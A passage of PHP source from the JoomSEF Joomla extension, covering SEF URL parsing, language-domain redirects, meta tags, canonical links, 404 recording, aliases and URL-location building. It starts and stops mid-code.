$varVal)) { $varsOk = false; break; } } } if (!$varsOk) { continue; } // Variables match, this seems to be home page URL, try checking language if (is_null($lang)) { // No language, use this URL $sefRow = $row; break; } else { // Check language if (isset($rowVars['lang'])) { if ($rowVars['lang'] == $lang) { // Found exact URL $sefRow = $row; break; } } else if (empty($noLang)) { // This URL doesn't contain lang variable, store it for later use $noLang = $row; } } } // If we didn't find correct URL, try to use the one without lang variable if (empty($sefRow) && !empty($noLang)) { $sefRow = $noLang; } } } // Set meta tags if( !empty($sefRow) ) { $mainframe = JFactory::getApplication(); if (!empty($sefRow->metatitle)) JoomSEF::set('sef.meta.title', $sefRow->metatitle); if (!empty($sefRow->metadesc)) JoomSEF::set('sef.meta.desc', $sefRow->metadesc); if (!empty($sefRow->metakey)) JoomSEF::set('sef.meta.key', $sefRow->metakey); if (!empty($sefRow->metalang)) JoomSEF::set('sef.meta.lang', $sefRow->metalang); if (!empty($sefRow->metarobots)) JoomSEF::set('sef.meta.robots', $sefRow->metarobots); if (!empty($sefRow->metagoogle)) JoomSEF::set('sef.meta.google', $sefRow->metagoogle); if (!empty($sefRow->canonicallink)) JoomSEF::set('sef.link.canonical', $sefRow->canonicallink); if (isset($sefRow->showsitename)) JoomSEF::set('sef.meta.showsitename', $sefRow->showsitename); if (!empty($sefRow->metacustom)) { $metacustom = @unserialize($sefRow->metacustom); if (!empty($metacustom)) { JoomSEF::set('sef.meta.custom', $metacustom); } } // Update hits count if set to if ($sefConfig->homePageHits) { $db->setQuery("UPDATE #__sefurls SET cpt=(cpt+1) WHERE id = '{$sefRow->id}'"); $db->query(); } } } return $vars; } $disabled = false; $sef_ext = new SefExt(); $newVars = $sef_ext->revert($route, $disabled); // We need to determine language BEFORE Joomla SEO // so the menu is translated correctly $lang = self::get('domain_lang'); if (empty($lang)) { $lang = (isset($newVars['lang']) ? $newVars['lang'] : (isset($vars['lang']) ? $vars['lang'] : null)); } else if ($sefConfig->wrongDomainHandling != _COM_SEF_WRONG_DOMAIN_DO_NOTHING) { // We have a language from domain, check if it corresponds to language in SEF URL if (isset($newVars['lang']) && ($newVars['lang'] != $lang)) { // Domain and SEF URL languages don't match if ($sefConfig->wrongDomainHandling == _COM_SEF_WRONG_DOMAIN_REDIRECT) { // Redirect to correct domain if (isset($sefConfig->subDomainsJoomla[$newVars['lang']])) { $domain = $sefConfig->subDomainsJoomla[$newVars['lang']]; $redir = JURI::getInstance(); $redir->setHost($domain); // Redirect SEFTools::redirect($redir->toString(), true); } // No domain found, show 404 $disabled = true; } else { // Show 404 page $disabled = true; } } } if (!empty($newVars) && !empty($vars) && $sefConfig->nonSefQueryVariables) { // If this was SEF url, consider the vars in query as nonsef $nonsef = array_diff_key($vars, $newVars); if (!empty($nonsef)) { JoomSEF::set('sef.global.nonsefvars', $nonsef); } } // try to parse joomla native seo if ($sefConfig->parseJoomlaSEO && empty($newVars)) { $oldUrl = $oldUri->toString(array('path', 'query', 'fragment')); $router = $mainframe->getRouter(); $router->setMode(JROUTER_MODE_SEF); $jvars = $router->parse($oldUri); $router->setMode(JROUTER_MODE_DONT_PARSE); // Check 404 if (isset($jvars['option']) && ($jvars['option'] == 'com_content') && isset($jvars['view']) && isset($jvars['id']) && ($jvars['id'] == 0)) { // 404 $jvars = array(); } if (!empty($jvars['option']) || !empty($jvars['Itemid'])) { // Fix Itemid if (array_key_exists('Itemid', $jvars) && is_null($jvars['Itemid'])) { unset($jvars['Itemid']); } // Try to get option from URL or menu item if (!isset($jvars['option'])) { // Get the option from menu item $menu = JFactory::getApplication()->getMenu('site'); $item = $menu->getItem($jvars['Itemid']); if (!is_null($item) && isset($item->query['option'])) { $jopt = $item->query['option']; } } else { $jopt = $jvars['option']; } // Was it possible to retrieve component? if (isset($jopt)) { // If the component is not handled by default Joomla router // try to find corresponding SEF URL in JoomSEF's database require_once(JPATH_ADMINISTRATOR.'/components/com_sef/models/extensions.php'); $handler = SEFModelExtensions::_getActiveHandler($jopt); if (!in_array($handler->code, array(_COM_SEF_HANDLER_ROUTER, _COM_SEF_HANDLER_JOOMLA, _COM_SEF_HANDLER_NONE))) { // Try to get the SEF URL $oldDisable = $sefConfig->disableNewSEF; $sefConfig->disableNewSEF = true; $jUri = new JURI('index.php'); $jUri->setQuery($jvars); if ($jUri->getVar('format') == 'html') { $jUri->delVar('format'); } $jUrl = $jUri->toString(array('path', 'query', 'fragment')); $jSefUri = new JURI(JRoute::_($jUrl)); $jSef = $jSefUri->toString(array('path', 'query', 'fragment')); //$jSef = urldecode(str_replace('&', '&', $jSef)); // Remove base $base = JURI::base(true); $baseLen = strlen($base); if (substr($oldUrl, 0, $baseLen) == $base) { $oldUrl = substr($oldUrl, $baseLen); } if (substr($jSef, 0, $baseLen) == $base) { $jSef = substr($jSef, $baseLen); } // Fix slashes - left $oldUrl = ltrim($oldUrl, '/'); $jSef = ltrim($jSef, '/'); // Fix slashes - right //$oldUrl = preg_replace('/^([^?]*)\/(\??)/', '$1$2', $oldUrl); //$jSef = preg_replace('/^([^?]*)\/(\??)/', '$1$2', $jSef); $oldUrl = JoomSEF::_removeRightSlash($oldUrl); $jSef = JoomSEF::_removeRightSlash($jSef); // Restore the configuration $sefConfig->disableNewSEF = $oldDisable; if (count($_POST) == 0) { // Non-SEF redirect if ((strpos($jSef, 'index.php?') === false) && ($oldUrl != $jSef)) { // Seems the URL is SEF, let's redirect SEFTools::redirect(JURI::root() . $jSef, true); } } } // OK, we can show the page for this component $newVars = $jvars; } } } if (!empty($vars)) { // append the original query string because some components // (like SMF Bridge and SOBI2) use it $vars = array_merge($vars, $newVars); } else { $vars = $newVars; } if (empty($newVars)==false && $disabled==false) { // Parsed correctly and enabled JoomSEF::_sendHeader('HTTP/1.0 200 OK'); // Create automatic canonical link if set to and it is not already set $canonical = JoomSEF::get('sef.link.canonical'); if ($generateCanonical && empty($canonical)) { $extAuto = 2; if (isset($vars['option'])) { $params =& SEFTools::getExtParams($vars['option']); $extAuto = $params->get('autoCanonical', 2); } $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; if ($autoCanonical) { JoomSEF::set('sef.link.canonical', JURI::root().$route); } } } else { // 2.8.2013 dajo: don't set nonsef vars, this causes duplicate SEF URLs to be created, for example // when a search engine visits http://domain.com/non-existent-page?id=10 // (all menu links etc. have duplicates without the id variable created) // set nonsef vars //if (!$disabled) { // JoomSEF::set('sef.global.nonsefvars', $vars); //} // bad URL, so check to see if we've seen it before // 404 recording (only if enabled) if ($sefConfig->record404) { $query = "SELECT * FROM `#__sefurls` WHERE `sefurl` = ".$db->quote($route); $db->setQuery($query); $results = $db->loadObjectList(); if ($results) { // we have it, so update counter $db->setQuery("UPDATE `#__sefurls` SET `cpt`=(`cpt`+1) WHERE `sefurl` = ".$db->quote($route)); $db->query(); } else { // get trace info if (@$sefConfig->trace) { $traceinfo = $db->quote(JoomSEF::_getDebugInfo($sefConfig->traceLevel, true)); } else $traceinfo = "NULL"; // record the bad URL $query = "INSERT INTO `#__sefurls` (`cpt`, `sefurl`, `origurl`, `trace`, `dateadd`) " . " VALUES ('1', ".$db->quote($route).", '', {$traceinfo}, CURDATE())"; $db->setQuery($query); $db->query(); } } // redirect to the error page $vars = JoomSEF::_get404vars($route); } // Set QUERY_STRING if set to if ($sefConfig->setQueryString) { $qs = array(); self::_buildQueryStringValues($qs, '', $vars); $qs = implode('&', $qs); if (!empty($qs)) { $_SERVER['QUERY_STRING'] = $qs; } } return $vars; } static function _buildQueryStringValues(&$qs, $name, $val) { if (is_array($val)) { foreach ($val as $k => $v) { $newName = empty($name) ? $k : $name.'['.$k.']'; self::_buildQueryStringValues($qs, $newName, $v); } } else { $qs[] = $name . '=' . urlencode($val); } } static function _removeRightSlash($url) { if (strpos($url, '?') === false) { // No question mark return rtrim($url, '/'); } // Check slash before question mark $qpos = strpos($url, '/?'); if ($qpos !== false) { /*$spos = strpos($url, '/'); if ($qpos <= $spos) { $url = substr($url, 0, $qpos).substr($url, $qpos+1); }*/ $url = substr($url, 0, $qpos).substr($url, $qpos+1); } return $url; } static function _get404vars($route = '') { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); // you MUST create a static content page with the title 404 for this to work properly if ($sefConfig->showMessageOn404) { $mosmsg = 'FILE NOT FOUND: '.$route; $mainframe->enqueueMessage($mosmsg); } else $mosmsg = ''; if ($sefConfig->page404 == _COM_SEF_404_DEFAULT) { $sql = 'SELECT `id` FROM `#__content` WHERE `title`= "404"'; $db->setQuery($sql); if (($id = $db->loadResult())) { $vars['option'] = 'com_content'; $vars['view'] = 'article'; $vars['id'] = $id; } else { die(JText::_('COM_SEF_ERROR_DEFAULT_404').$mosmsg."
    URI:".htmlspecialchars($_SERVER['REQUEST_URI'])); } } elseif ($sefConfig->page404 == _COM_SEF_404_FRONTPAGE) { $menu = $mainframe->getMenu('site'); //$item = $menu->getDefault(); // Workaround until Joomla menu bug will be fixed $items=$menu->getItems(array('home','language'),array('1','*')); $item=$items[0]; //Set the information in the frontpage request $vars = $item->query; //Get the itemid $vars['Itemid'] = $item->id; $menu->setActive($vars['Itemid']); } else { $id = $sefConfig->page404; $vars['option'] = 'com_content'; $vars['view'] = 'article'; $vars['id'] = $id; } // If custom Itemid set, use it if ($sefConfig->use404itemid) { $vars['Itemid'] = $sefConfig->itemid404; } JoomSEF::_sendHeader('HTTP/1.0 404 NOT FOUND'); return $vars; } /** * Recursively sorts nested array by keys */ static function ksort_deep(&$arr) { ksort($arr); foreach ($arr as &$a) { if (is_array($a) && !empty($a)) { self::ksort_deep($a); } } } static function _parseAlias($route, $vars) { $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $route = html_entity_decode(urldecode($route)); // Get all the corresponding aliases $query = "SELECT `a`.`vars`, `u`.`sefurl` FROM `#__sefaliases` AS `a` INNER JOIN `#__sefurls` AS `u` ON `u`.`id` = `a`.`url` WHERE `a`.`alias` = " . $db->Quote($route); if ($route == '') { $query .= " OR `a`.`alias` = 'index.php'"; } $db->setQuery($query); $aliases = $db->loadObjectList(); // Are there any aliases? if (!is_array($aliases) || (count($aliases) == 0)) { return; } // Sort variables by keys self::ksort_deep($vars); // Try to find alias with corresponding variables foreach ($aliases as $alias) { // Create the array of alias variables $avars = array(); $alias->vars = trim($alias->vars); if (!empty($alias->vars)) { $tmpvars = str_replace("\n", '&', $alias->vars); parse_str($tmpvars, $avars); } // Sort alias variables by keys self::ksort_deep($avars); // Compare variables arrays if ($vars !== $avars) { continue; } // Correct alias found, redirect $url = JURI::root(); if (substr($url, -1) != '/') { $url .= '/'; } $url .= ltrim($alias->sefurl, '/'); SEFTools::redirect($url, true); } } static function _sendHeader($header) { if (!headers_sent()) { //file_put_contents(JPATH_SITE.'/tmp/header',$header."\n",FILE_APPEND); header($header); } // 25.4.2012 dajo: Don't die when headers already sent // else { // JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); //} } static function _parseRawRoute(&$uri) { $sefConfig = SEFConfig::getConfig(); // Make sure that Itemid is numeric $Itemid = $uri->getVar('Itemid'); if (!empty($Itemid)) { $uri->setVar('Itemid', intval($Itemid)); } // Redirect to correct language if set to if ($sefConfig->langEnable && ($sefConfig->mismatchedLangHandling == _COM_SEF_MISMATCHED_LANG_FIX) && (count($_POST) == 0)) { $langVar = $uri->getVar('lang'); $itemidVar = $uri->getVar('Itemid'); if (!empty($langVar) && !empty($itemidVar)) { // Get menu item language $menu = JFactory::getApplication()->getMenu('site'); $item = $menu->getItem($itemidVar); if (is_object($item) && !empty($item->language) && ($item->language != '*')) { $langsCode = JLanguageHelper::getLanguages('lang_code'); if ($langsCode[$item->language]->sef != $langVar) { // Redirect to correct language $curUri = JURI::getInstance(); $curUri->setVar('lang', $langsCode[$item->language]->sef); SEFTools::redirect($curUri->toString(), true); } } } } if( is_null($uri->getVar('option')) ) { // Set the URI from Itemid $menu = JFactory::getApplication()->getMenu('site'); $item = $menu->getItem($uri->getVar('Itemid')); if( !is_null($item) ) { $uri->setQuery($item->query); $uri->setVar('Itemid', $item->id); } } $extAuto = 2; if (isset($params)) { $extAuto = $params->get('autoCanonical', 2); } $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; if (($sefConfig->nonSefRedirect && (count($_POST) == 0)) || $autoCanonical) { // Try to find the non-SEF URL in the database - don't create new! $oldDisable = $sefConfig->disableNewSEF; $sefConfig->disableNewSEF = true; $uri->setPath('index.php'); $url = $uri->toString(array('path', 'query', 'fragment')); $sef = JRoute::_($url); // Revert, otherwise Joomla in its router thinks this is SEF URL, // because its path is not empty! $uri->setPath(''); // Restore the configuration $sefConfig->disableNewSEF = $oldDisable; if ($sefConfig->nonSefRedirect && (count($_POST) == 0)) { // Non-SEF redirect if( strpos($sef, 'index.php?') === false ) { // Check if it's different from current URL $curUri = JURI::getInstance(); if ($sef[0] == '/') { $curUrl = $curUri->toString(array('path', 'query', 'fragment')); } else { $curUrl = JoomSefUri::getUri($curUri); } // Fix the & characters $sef = str_replace('&', '&', $sef); if ($sef != $curUrl) { // Seems the URL is SEF, let's redirect SEFTools::redirect($sef, true); } } } else if ($autoCanonical) { // Only set canonical URL $mainframe = JFactory::getApplication(); // Remove the query part from SEF URL $pos = strpos($sef, '?'); if ($pos !== false) { $sef = substr($sef, 0, $pos); } JoomSEF::set('sef.link.canonical', $sef); } } return $uri->getQuery(true); } // 25.4.2012 dajo: removed //function _headers_sent_error($sentFile, $sentLine, $file, $line) //{ // die("
    Error: headers already sent in ".basename($sentFile)." on line $sentLine.
    Stopped at line ".$line." in ".basename($file)); //} static function _createUri($uri) { $path = JURI::root(true); $url = '/'.$uri->toString(array('path', 'query', 'fragment')); JoomSefUri::updateUri($uri, $url); $path = str_replace($path, '', $uri->getPath()); $uri->setPath($path); return $uri; } static function _endSef($lang = '') { $mainframe = JFactory::getApplication(); $mainframe->triggerEvent('onSefEnd'); JoomSEF::_restoreLang($lang); } static function _restoreLang($lang = '') { if ($lang != '') { if ($lang != JoomSEF::getLangCode()) { $language = JFactory::getLanguage(); $language->setLanguage($lang); // 6.12.2012 dajo: Make sure that the language gets loaded and overwrites current strings! $language->load('joomla', JPATH_BASE, null, true); } } } static function _isHomePage(&$uri, $altered = false) { $home_items=SEFTools::getHomeQueries(); $langs=JLanguageHelper::getLanguages('lang_code'); $config=SEFConfig::getConfig(); $Itemid = $uri->getVar('Itemid'); if(array_key_exists($Itemid,$home_items) && $uri->getPath()=='index.php') { if($config->langEnable) { if (strlen($uri->getVar('lang', '')) == 0) { $langTag = $home_items[$Itemid]->language; if (isset($langs[$langTag])) { $uri->setVar('lang', $langs[$langTag]->sef); } else { // Use current language $langTag = JFactory::getLanguage()->getTag(); if (isset($langs[$langTag])) { $uri->setVar('lang', $langs[$langTag]->sef); } } } } // Set the link queries if not already there if (!isset($home_items[$Itemid]->linkQuery)) { $link = new JURI($home_items[$Itemid]->link); $home_items[$Itemid]->linkQuery = $link->getQuery(true); $home_items[$Itemid]->normalizedQuery = null; // Normalize query if an extension is available $option = $link->getVar('option'); if (!is_null($option)) { $extFile = JPATH_ROOT.'/components/com_sef/sef_ext/'.$option.'.php'; if (file_exists($extFile)) { $class = 'SefExt_'.$option; if (!class_exists($class)) { require($extFile); } $sef_ext = new $class(); $link->setVar('Itemid', $Itemid); $sef_ext->beforeCreate($link); $link->delVar('Itemid'); $link->delVar('lang'); $home_items[$Itemid]->normalizedQuery = $link->getQuery(true); $sef_ext = null; } } } // The queries need to match 1:1 (except Itemid and lang(?)), not just the variables present in home item! $uriQuery = $uri->getQuery(true); if (array_key_exists('Itemid', $uriQuery)) unset($uriQuery['Itemid']); if (array_key_exists('lang', $uriQuery)) unset($uriQuery['lang']); // Check base link $same = ($uriQuery == $home_items[$Itemid]->linkQuery); if (!$same && is_array($home_items[$Itemid]->normalizedQuery)) { // Check normalized link $same = ($uriQuery == $home_items[$Itemid]->normalizedQuery); } return $same; } return false; } static function _getMenuTitle($option, $lang, $id = null, $string = null) { return self::_getMenuTitleLang($option, $lang, $id, $string); } static function _getMenuTitleLang($option, &$lang, $id = null, $string = null) { static $stringCache = array(); static $idCache = array(); static $optionCache = array(); $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); if ($title = JoomSEF::_getCustomMenuTitle($option)) { return $title; } // Which column to use? $column = 'title'; if ($sefConfig->useAlias) { $column = 'alias'; } // Translate URLs? if ($sefConfig->translateItems) { $jfTranslate = '`id`, '; } else { $jfTranslate = ''; } // Try to load cached data $row = false; if (isset($string)) { // Search by specific link if (!isset($stringCache[$string])) { $query = "SELECT {$jfTranslate}`$column` AS `name`, `language` FROM `#__menu` WHERE `link` = ".$db->quote($string)." AND `published` > 0"; $db->setQuery($query); $stringCache[$string] = $db->loadObject(); if (!$stringCache[$string]) $stringCache[$string] = false; } $row = $stringCache[$string]; } elseif (isset($id) && $id != 0) { // Search by Itemid (most used) if (!isset($idCache[$id])) { $query = "SELECT {$jfTranslate}`$column` AS `name`, `language` FROM `#__menu` WHERE `id` = ".(int)$id." AND `published` > 0"; $db->setQuery($query); $idCache[$id] = $db->loadObject(); if (!$idCache[$id]) $idCache[$id] = false; } $row = $idCache[$id]; } else { // Search by option if (!isset($optionCache[$option])) { $query = "SELECT {$jfTranslate}`$column` AS `name`, `language` FROM `#__menu` WHERE `link` = ".$db->quote('index.php?option='.$option)." AND `published` > 0"; $db->setQuery($query); $optionCache[$option] = $db->loadObject(); if (!$optionCache[$option]) { // Try to extend the search for any link to component $query = "SELECT {$jfTranslate}`$column` AS `name`, `language` FROM `#__menu` WHERE `link` LIKE '".$db->escape('index.php?option='.$option)."%' AND `published` > 0"; $db->setQuery($query); $optionCache[$option] = $db->loadObject(); if (!$optionCache[$option]) $optionCache[$option] = false; } } $row = $optionCache[$option]; } if ($row && !empty($row->name)) { $title = $row->name; $lang = $row->language; } else { $title = str_replace('com_', '', $option); } return $title; } static function _getMenuItemInfo($option, $task, $id = null, $string = null) { static $stringCache = array(); static $idCache = array(); static $optionCache = array(); $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); // JF translate extension. $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; $item = new stdClass(); $item->title = JoomSEF::_getCustomMenuTitle($option); // Which column to use? $column = 'title'; if ($sefConfig->useAlias) $column = 'alias'; // Try to load data from cache $row = false; if (isset($id) && $id != 0) { if (!isset($idCache[$id])) { $query = "SELECT `$column` AS `name`, `params`$jfTranslate FROM `#__menu` WHERE `id` = ".(int)$id." AND `published` > 0"; $db->setQuery($query); $idCache[$id] = $db->loadObject(); if (!$idCache[$id]) $idCache[$id] = false; } $row = $idCache[$id]; } elseif (isset($string)) { if (!isset($stringCache[$string])) { $query = "SELECT `$column`AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = ".$db->quote($string)." AND `published` > 0"; $db->setQuery($query); $stringCache[$string] = $db->loadObject(); if (!$stringCache[$string]) $stringCache[$string] = false; } $row = $stringCache[$string]; } else { if (!isset($optionCache[$option])) { // Search for direct link to component only $query = "SELECT `$column` AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = ".$db->quote('index.php?option='.$option)." AND `published` > 0"; $db->setQuery($query); $optionCache[$option] = $db->loadObject(); if (!$optionCache[$option]) { // Try to extend the search for any link to component $query = "SELECT `$column` AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` LIKE '".$db->escape('index.php?option='.$option)."%' AND `published` > 0"; $db->setQuery($query); $optionCache[$option] = $db->loadObject(); if (!$optionCache[$option]) $optionCache[$option] = false; } } $row = $optionCache[$option]; } if (!empty($row)) { if (!empty($row->name) && !$item->title) $item->title = $row->name; $item->params = new JRegistry($row->params); } else { $item->title = str_replace('com_', '', $option); } return $item; } static function _getCustomMenuTitle($option) { $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $lang=JFactory::getConfig()->get('language'); $element=str_replace('com_','ext_joomsef4_',$option); static $titles; $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; if( !isset($titles) ) { $titles = array(); } if( !isset($titles[$lang]) ) { $titles[$lang] = array(); $query=$db->getQuery(true); $query->select('params, element')->from('#__extensions')->where('state>=0')->where('enabled=1')->where('type='.$db->quote('sef_ext')); $db->setQuery($query); $data = $db->loadObjectList(); foreach ($data as $val) { $params = new JRegistry($val->params); $titles[$lang][$val->element] = $params->get('customMenuTitle'); } } if (isset($titles[$lang][$element])) { return $titles[$lang][$element]; } return null; } /** * Convert title to URL name. * * @param string $title * @return string */ static function _titleToLocation(&$title) { $sefConfig = SEFConfig::getConfig(); // remove accented characters // $title = strtr($title, // replace non-ASCII characters. $title = strtr($title, $sefConfig->getReplacements()); // remove quotes, spaces, and other illegal characters if( $sefConfig->allowUTF ) { $title = preg_replace(array('/\'/', '/[\s"\?\:\/\\\\]/', '/(^_|_$)/'), array('', $sefConfig->replacement, ''), $title); } else { $title = preg_replace(array('/\'/', '/[^a-zA-Z0-9\-!.,+]+/', '/(^_|_$)/'), array('', $sefConfig->replacement, ''), $title); } // Handling lower case if( $sefConfig->lowerCase ) { $title = JoomSEF::_toLowerCase($title); } return $title; } /** * Tries to correctly handle conversion to lowercase even for UTF-8 string * * @param unknown_type $str */ static function _toLowerCase($str) { $sefConfig = SEFConfig::getConfig(); if( $sefConfig->allowUTF ) { if( function_exists('mb_convert_case') ) { $str = mb_convert_case($str, MB_CASE_LOWER, 'UTF-8'); } } else { $str = strtolower($str); } return $str; } static function _utf8LowerCase($str) { if( function_exists('mb_convert_case') ) { $str = mb_convert_case($str, MB_CASE_LOWER, 'UTF-8'); } else { $str = strtolower($str); } return $str; } /** * Stores the given parameters in an array and returns it * * @param JURI $uri * @param array $title * @param string $task * @param int $limit * @param int $limitstart * @param string $lang * @param array $nonSefVars * @param array $ignoreSefVars * @param array $metadata List of metadata to be stored. (metakeywords, metadesc, ..., canonicallink) * @param boolean $priority * @param boolean $pageHandled Set to true if the extension handles its pagination on its own * @return string */ static function _sefGetLocation(&$uri, &$title, $task = null, $limit = null, $limitstart = null, $lang = null, $nonSefVars = null, $ignoreSefVars = null, $metadata = null, $priority = null, $pageHandled = false,$host=null, $sitemapParams = null) { $data = compact('uri', 'title', 'task', 'limit', 'limitstart', 'lang', 'nonSefVars', 'ignoreSefVars', 'metadata', 'priority', 'pageHandled', 'host', 'sitemapParams'); return $data; } /** * Find existing or create new SEO URL. * * @param array $data * @return string */ static function _storeLocation(&$data, $check = false, $removeItemid = false) { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $cache = SEFCache::getInstance(); // Extract variables $defaults = array('uri' => null, 'title' => null, 'task' => null, 'limit' => null, 'limitstart' => null, 'lang' => null, 'nonSefVars' => null, 'ignoreSefVars' => null, 'metadata' => null, 'priority' => null, 'pageHandled' => false,'host'=>false, 'sitemapParams' => null); foreach ($defaults as $varName => $value) { if (is_array($data) && isset($data[$varName])) { $$varName = $data[$varName]; } else { $$varName = $value; } } // Original object is stored in origUri $origUri = $uri; $uri = clone($origUri); // Get the default priority if not set if( is_null($priority) ) { $priority = JoomSEF::_getPriorityDefault($uri); } // Get the parameters for this component if( !is_null($uri->getVar('option')) ) { $params =& SEFTools::getExtParams($uri->getVar('option')); } // remove the menu title if set to for this component if( isset($params) && ($params->get('showMenuTitle', '1') == '0') ) { if ((count($title) > 1) && ((count($title) != 2) || ($title[1] != '/')) && ($title[0] == JoomSEF::_getMenuTitle(@$uri->getVar('option'), null, @$uri->getVar('Itemid')))) { array_shift($title); } } // remove the Itemid if set to if ($removeItemid) { $uri->delVar('Itemid'); } // add the page number if the extension does not handle it if( !$pageHandled && !is_null($uri->getVar('limitstart')) ) { $limit = $uri->getVar('limit'); if( is_null($limit) ) { if( !is_null($uri->getVar('option')) ) { $limit = intval($params->get('pageLimit', '')); if( $limit == 0 ) { $limit = 5; } } else { $limit = 5; } } $pageNum = intval($uri->getVar('limitstart') / $limit) + 1; $pagetext = strval($pageNum); if (($cnfPageText = $sefConfig->getPageText())) { $pagetext = str_replace('%s', $pageNum, $cnfPageText); } $title[] = $pagetext; } // get all the titles ready for urls. $location = array(); foreach ($title as $titlePart) { if (strlen($titlePart) == 0) continue; $location[] = JoomSEF::_titleToLocation($titlePart); } // remove unwanted characters. $finalstrip = explode('|', $sefConfig->stripthese); $takethese = str_replace('|', '', $sefConfig->friendlytrim); if (strstr($takethese, $sefConfig->replacement) === FALSE) { $takethese .= $sefConfig->replacement; } $imptrim = implode('/', $location); if (!is_null($task)) { $task = str_replace($sefConfig->replacement.'-'.$sefConfig->replacement, $sefConfig->replacement, $task); $task = str_replace($finalstrip, '', $task); $task = trim($task,$takethese); } $imptrim = str_replace($sefConfig->replacement.'-'.$sefConfig->replacement, $sefConfig->replacement, $imptrim); $suffixthere = 0; $regexSuffix = str_replace('.', '\.', $sefConfig->suffix); $pregSuffix = addcslashes($regexSuffix, '/'); //if (eregi($regexSuffix.'$', $imptrim)) { if (preg_match('/'.$pregSuffix.'$/i', $imptrim)) { $suffixthere = strlen($sefConfig->suffix); } $imptrim = str_replace($finalstrip, $sefConfig->replacement, substr($imptrim, 0, strlen($imptrim) - $suffixthere)); $imptrim = str_replace($sefConfig->replacement.$sefConfig->replacement, $sefConfig->replacement, $imptrim); $suffixthere = 0; //if (eregi($regexSuffix.'$', $imptrim)) { if (preg_match('/'.$pregSuffix.'$/i', $imptrim)) { $suffixthere = strlen($sefConfig->suffix); } $imptrim = trim(substr($imptrim, 0, strlen($imptrim) - $suffixthere), $takethese); // add the task if set $imptrim .= (!is_null($task) ? '/'.$task.$sefConfig->suffix : ''); // remove all the -/ $imptrim = SEFTools::ReplaceAll($sefConfig->replacement.'/', '/', $imptrim); // remove all the /- $imptrim = SEFTools::ReplaceAll('/'.$sefConfig->replacement, '/', $imptrim); // Remove all the // $location = SEFTools::ReplaceAll('//', '/', $imptrim); // check if the location isn't too long for database storage and truncate it in that case $suffixthere = 0; //if (eregi($regexSuffix.'$', $location)) { if (preg_match('/'.$pregSuffix.'$/i', $location)) { $suffixthere = strlen($sefConfig->suffix); } $suffixLen = strlen($sefConfig->suffix); $maxlen = 240 + $suffixthere - $suffixLen; // Leave some space for language and numbers if (strlen($location) > $maxlen) { // Temporarily remove the suffix //$location = ereg_replace($regexSuffix.'$', '', $location); $location = preg_replace('/'.$pregSuffix.'$/', '', $location); // Explode the location to parts $parts = explode('/', $location); do { // Find the key of the longest part $key = 0; $len = strlen($parts[0]); for( $i = 1, $n = count($parts); $i < $n; $i++ ) { $tmpLen = strlen($parts[$i]); if( $tmpLen > $len ) { $key = $i; $len = $tmpLen; } } // Truncate the longest part $truncBy = strlen($location) - $maxlen; if( $truncBy > 10 ) { $truncBy = 10; } $parts[$key] = substr($parts[$key], 0, -$truncBy); // Implode to location again $location = implode('/', $parts); // Add suffix if was there if( $suffixthere > 0 ) { $location .= $sefConfig->suffix; } } while(strlen($location) > $maxlen); } // remove variables we don't want to be included in non-SEF URL // and build the non-SEF part of our SEF URL $nonSefUrl = ''; // load the nonSEF vars from option parameters $paramNonSef = array(); if( isset($params) ) { $nsef = $params->get('customNonSef', ''); if( !empty($nsef) ) { // Some variables are set, let's explode them $paramNonSef = explode(';', $nsef); } } // get globally configured nonSEF vars $configNonSef = array(); if( !empty($sefConfig->customNonSef) ) { $configNonSef = explode(';', $sefConfig->customNonSef); } // combine all the nonSEF vars arrays $nsefvars = array_merge($paramNonSef, $configNonSef); if (!empty($nsefvars)) { foreach($nsefvars as $nsefvar) { // add each variable, that isn't already set, and that is present in our URL if( !isset($nonSefVars[$nsefvar]) && !is_null($uri->getVar($nsefvar)) ) { $nonSefVars[$nsefvar] = $uri->getVar($nsefvar); } } } // nonSefVars - variables to exclude only if set to in configuration if ($sefConfig->appendNonSef && isset($nonSefVars)) { $vars = array_keys($nonSefVars); $q = SEFTools::RemoveVariables($uri, $vars); if ($q != '') { if ($nonSefUrl == '') { $nonSefUrl = '?'.$q; } else { $nonSefUrl .= '&'.$q; } } // if $nonSefVars mixes with $GLOBALS['JOOMSEF_NONSEFVARS'], exclude the mixed vars // this is important to prevent duplicating params by adding JOOMSEF_NONSEFVARS to // $ignoreSefVars $gNonSef = JoomSEF::get('sef.global.nonsefvars'); if (!empty($gNonSef)) { foreach (array_keys($gNonSef) as $key) { if (in_array($key, array_keys($nonSefVars))) unset($gNonSef[$key]); } JoomSEF::set('sef.global.nonsefvars', $gNonSef); } } // if there are global variables to exclude, add them to ignoreSefVars array $gNonSef = JoomSEF::get('sef.global.nonsefvars'); if (!empty($gNonSef)) { if (!empty($ignoreSefVars)) { $ignoreSefVars = array_merge($gNonSef, $ignoreSefVars); } else { $ignoreSefVars = $gNonSef; } } // ignoreSefVars - variables to exclude allways if (isset($ignoreSefVars)) { $vars = array_keys($ignoreSefVars); $q = SEFTools::RemoveVariables($uri, $vars); if ($q != '') { if ($nonSefUrl == '') { $nonSefUrl = '?'.$q; } else { $nonSefUrl .= '&'.$q; } } } // If the component requests strict accept variables filtering, remove the ones that don't match if( isset($params) && ($params->get('acceptStrict', '0') == '1') ) { $acceptVars = SEFTools::getExtAcceptVars($uri->getVar('option')); $uriVars = $uri->getQuery(true); if( (count($acceptVars) > 0) && (count($uriVars) > 0) ) { foreach($uriVars as $name => $value) { // Standard Joomla variables if (in_array($name, $sefConfig->globalAcceptVars)) { continue; } // Accepted variables if( in_array($name, $acceptVars) ) { continue; } // Variable not accepted, add it to non-SEF part of the URL $value = urlencode($value); if (strlen($nonSefUrl) > 0) { $nonSefUrl .= '&'.$name.'='.$value; } else { $nonSefUrl = '?'.$name.'='.$value; } $uri->delVar($name); } } } // always remove Itemid and 